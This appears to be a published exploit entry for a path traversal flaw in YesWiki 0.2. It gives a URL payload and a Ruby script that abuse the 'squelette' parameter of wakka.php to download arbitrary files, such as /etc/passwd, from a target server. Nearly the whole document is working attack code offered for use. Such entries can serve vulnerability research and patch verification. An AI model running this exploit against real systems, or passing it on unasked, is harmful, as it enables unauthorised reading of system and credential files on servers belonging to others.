YesWiki 0.2 - 'squelette' Directory Traversal

# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================

#Vulnerability 
#Open Browser: http://[targetURL]//vul_test/yeswiki/wakka.php?wiki=PagesACreer/edit&theme=yeswiki&squelette=/../../../../../../../../../../../../etc/passwd&style=gray.css&bgimg=&newpage=1

require "net/http"
require "uri"

if ARGV.length != 2

puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "Usage: ruby yeswiki_traversal.rb [targetURL wakka.php] [File name]"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/yeswiki/wakka.php /etc/passwd"
puts "  exploit & code by hahwul[www.codeblack.net]"

else
puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "#set Payload..."
target=ARGV[0]
downfile=ARGV[1]
puts " + target : #{target}"
puts " + DownFile : #{downfile}"
puts "#Exploit"
uri = URI.parse("#{target}/vul_test/yeswiki/wakka.php")
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
puts "#End.."
end